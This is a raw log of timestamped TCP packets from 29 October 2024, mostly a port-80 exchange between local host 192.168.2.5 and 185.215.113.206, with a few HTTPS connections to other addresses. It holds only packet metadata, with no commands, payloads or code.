Oct 29, 2024 20:35:23.362432003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362451077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362457037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362457037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362483025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362494946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362515926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362535000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362545013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362576008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362576008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362723112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362735033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362746000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362771988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362817049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362828016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362843037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362863064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362863064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362905979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362917900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.362945080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.362992048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363024950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363034964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363060951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363060951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363073111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363085032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363097906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363117933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363117933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363151073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363185883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363185883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363241911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363255024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363291979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363301992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363301992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363303900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363334894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363344908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363346100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363346100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363382101 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363382101 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363480091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363491058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363502979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363521099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363533020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363544941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363557100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363557100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363557100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363568068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363580942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363609076 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363609076 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363616943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363627911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363639116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363651037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363666058 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363666058 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363730907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363742113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363751888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363755941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363769054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363780022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363791943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363791943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363791943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363804102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363821983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363833904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363842010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363842010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363843918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363858938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363869905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363881111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363893032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363894939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363894939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363907099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363919020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363929987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363930941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363930941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363940954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363954067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363965988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363977909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.363989115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.363989115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364052057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364063025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364093065 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364093065 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364116907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364130020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364141941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364155054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364166021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364202023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364202023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364219904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364231110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364243984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364255905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364267111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364278078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364284039 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364284039 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364289999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364301920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364309072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364347935 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364347935 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364406109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364417076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364427090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364468098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364468098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364619970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364665985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364675045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364675999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364731073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364742994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364762068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364773035 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364773035 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364773989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364787102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.364824057 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.364824057 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.365436077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365533113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365545034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365556955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365570068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365582943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365586996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.365602016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365613937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365627050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365638018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365649939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365662098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365672112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.365672112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.365675926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.365722895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.365722895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366019011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366031885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366044044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366055965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366069078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366080999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366086960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366086960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366100073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366143942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366143942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366159916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366175890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366189003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366199970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366211891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366223097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366234064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366236925 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366238117 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366245985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366260052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366271973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366280079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366280079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366291046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366307974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366321087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366327047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366327047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366333008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366344929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366355896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366375923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366409063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366409063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366445065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366456032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366466999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366486073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366501093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366513014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366519928 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366519928 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366527081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366564989 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366564989 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366592884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366605043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366616011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366627932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.366657019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.366657019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367058992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367077112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367094040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367098093 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367111921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367125034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367134094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367134094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367136002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367152929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367166042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367170095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367170095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367177010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367188931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367202044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367213011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367224932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367224932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367224932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367237091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367249966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367261887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.367263079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367263079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.367383957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.371937037 CET	443	49941	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.372315884 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.372348070 CET	443	49941	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.372421980 CET	443	49942	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.372632980 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.372668028 CET	443	49942	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.373486996 CET	443	49941	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.373544931 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.373735905 CET	443	49942	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.373791933 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.375251055 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.375339031 CET	443	49941	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.375925064 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.375997066 CET	443	49942	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.420144081 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.420177937 CET	443	49942	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.450093985 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.455790043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.465923071 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.508142948 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.508171082 CET	443	49941	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:23.513484955 CET	443	49944	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.513778925 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.513787985 CET	443	49944	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.514938116 CET	443	49944	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.515018940 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.516110897 CET	443	49943	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.516489029 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.516573906 CET	443	49944	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.516740084 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.516779900 CET	443	49943	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.517957926 CET	443	49943	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.518023968 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.518913984 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.519007921 CET	443	49943	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.569364071 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.569389105 CET	443	49943	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.616774082 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.713385105 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:23.713392973 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:23.713413000 CET	443	49944	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:23.739140034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739164114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739176989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739226103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739229918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739242077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739253998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739265919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739283085 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739283085 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739325047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739351988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739363909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739459991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739540100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739551067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739561081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739573956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739583969 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739586115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739598036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739609957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.739631891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739631891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.739675045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.740195990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740206957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740217924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740235090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740247011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740247011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.740257978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740268946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740273952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.740282059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.740300894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.740300894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.740339041 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.741163015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.741174936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.741214991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742305040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742316008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742327929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742337942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742350101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742362022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742368937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742374897 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742379904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742389917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742402077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742407084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742412090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742418051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742419958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742423058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742461920 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:23.742465019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742476940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:23.742487907 CET	80	49863	185.215.113.206	192.168.2.5
